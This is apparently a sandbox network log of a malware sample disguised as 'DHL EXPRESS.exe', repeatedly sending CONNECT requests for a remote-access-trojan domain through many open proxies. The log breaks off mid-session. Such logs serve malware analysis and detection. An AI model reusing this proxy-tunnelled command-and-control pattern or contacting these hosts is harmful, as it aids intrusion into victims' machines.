1403	192.168.2.8	53991	202.131.65.110	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.756223917 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.071465969 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:51 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1404	192.168.2.8	53964	103.23.100.1	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.761255026 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1405	192.168.2.8	53951	211.93.2.190	7302	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.761262894 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.199850082 CET	90	IN	HTTP/1.1 200 OK Content-Type: application/json Connection: close Content-Length: 55

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1406	192.168.2.8	54013	89.168.121.175	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.777525902 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.223290920 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1407	192.168.2.8	52325	86.107.179.244	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.794749022 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.958215952 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.066174984 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.066153049 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:16.065764904 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:28.065857887 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:40.081331015 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:04.097012043 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1408	192.168.2.8	53757	85.228.43.192	4153	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.796953917 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1409	192.168.2.8	53766	117.54.114.98	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.848447084 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1410	192.168.2.8	54059	37.235.53.208	6789	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.937675953 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.246212959 CET	339	IN	HTTP/1.1 403 Forbidden Server: squid/4.7 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 17:36:52 GMT Content-Type: text/html;charset=utf-8 Content-Length: 5 X-Squid-Error: TCP_RESET 0 Vary: Accept-Language Content-Language: en X-Cache: MISS from proxy.wakoopa.com Via: 1.1 proxy.wakoopa.com (squid/4.7) Connection: keep-alive Data Raw: 72 65 73 65 74 Data Ascii: reset

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1411	192.168.2.8	54071	130.162.213.175	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.940707922 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.257477999 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1412	192.168.2.8	54046	193.124.189.13	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.953788996 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.297332048 CET	361	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 17:36:52 GMT Content-Type: text/html Content-Length: 150 Connection: close X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1413	192.168.2.8	54056	185.101.16.52	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.967731953 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1414	192.168.2.8	54102	94.130.94.45	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.968436956 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1415	192.168.2.8	53492	70.166.167.55	57745	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.968697071 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1416	192.168.2.8	54108	58.234.116.197	8193	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.970671892 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1417	192.168.2.8	52457	185.23.118.97	57377	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.970858097 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.065629005 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.066174984 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.066153049 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:16.065764904 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:28.065857887 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:40.081331015 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:04.097012043 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1418	192.168.2.8	54136	35.190.107.16	30000	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.971121073 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1419	192.168.2.8	54060	91.134.140.160	56495	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.973601103 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1420	192.168.2.8	53958	5.10.249.159	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.973792076 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1421	192.168.2.8	54031	74.118.80.244	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.974019051 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1422	192.168.2.8	54115	94.247.241.70	53640	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.979549885 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:03.632550955 CET	202	IN	HTTP/1.0 404 Not Found Content-Length: 717 Content-Type: text/html Date: Fri, 09 Feb 2024 14:41:18 GMT Expires: Fri, 09 Feb 2024 14:41:18 GMT Server: Mikrotik HttpProxy Proxy-Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1423	192.168.2.8	54147	159.89.138.130	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.979859114 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.152129889 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.10.3 (Ubuntu) Date: Mon, 11 Mar 2024 17:36:52 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 30 2e 33 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.10.3 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1424	192.168.2.8	53793	222.252.23.5	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.980480909 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.036329031 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.064738989 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1425	192.168.2.8	54092	80.249.112.162	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.987267971 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.385663986 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Mon, 11 Mar 2024 17:36:52 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1426	192.168.2.8	54134	61.79.73.225	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.997247934 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1427	192.168.2.8	54135	8.217.143.187	15673	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.008213997 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1428	192.168.2.8	54133	59.6.26.121	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.016733885 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1429	192.168.2.8	54137	157.185.173.217	26589	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.032114029 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1430	192.168.2.8	52528	31.211.130.237	8192	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.043032885 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1431	192.168.2.8	54131	42.193.58.96	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.048880100 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.040638924 CET	58	IN	HTTP/1.1 200 Connection established Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1432	192.168.2.8	52554	78.30.128.10	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.050606966 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.382870913 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Mon, 11 Mar 2024 17:36:51 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1433	192.168.2.8	54144	45.11.95.165	5213	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.053622007 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1434	192.168.2.8	54155	163.172.129.251	16379	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.056050062 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1435	192.168.2.8	54139	170.84.205.17	4153	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
